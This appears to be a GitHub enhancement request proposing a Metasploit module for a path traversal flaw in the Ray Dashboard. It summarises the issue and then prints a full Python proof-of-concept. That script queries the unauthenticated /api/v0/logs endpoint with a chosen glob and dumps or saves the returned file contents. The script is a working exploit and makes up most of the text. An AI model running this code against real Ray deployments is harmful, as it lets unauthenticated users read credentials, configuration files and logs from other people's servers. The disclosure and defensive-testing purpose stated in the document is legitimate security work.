ENH: Add module for Ray AI Filesystem Path Traversal vulnerability

[rmhowe425]

Summary

A filesystem path traversal vulnerability was discovered in Ray Dashboard versions 2.56.0 and earlier. The patch for the issue is located here

Successful exploitation allows an unauthenticated attacker to read arbitrary files accessible by the Ray Dashboard process, which may expose sensitive configuration files, credentials, logs, or application data.

A draft pull request for a metasploit module is located here

Basic example

PoC listed below. POC has also been submitted to ExploitDB.

from sys import argv
from requests import get

def get_arg(name):
    try:
        index = argv.index(name)
        return argv[index + 1]
    except (ValueError, IndexError):
        return None

def main():
    ip = get_arg("--ip")
    port = get_arg("--port")
    node_id = get_arg("--node")
    glob = get_arg("--glob")
    fpath = get_arg("--fpath")

    if not ip or not port or not node_id or not glob:
        print("Usage: script.py --ip <address> --port <port> --node <node id> --glob <glob> --fpath <file path>")
        exit(1)

    params = {
        'node_id': node_id,
        'glob': f'{glob}/*'
    }

    print(params)

    try:
        req = get(f'http://{ip}:{port}/api/v0/logs', params=params)
    except Exception as e:
        print(str(e))

    if req.status_code == 200 and fpath:
        print('Success! Writing contents to file.')
        with open(fpath, "wb") as f:
            f.write(req.content)
    elif req.status_code == 200:
        print(f'Success!\n{req.content}')
    else:
        print('Failed')
        print(req.content)

main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Ray dashboards that pose unnecessary risk to their network environment.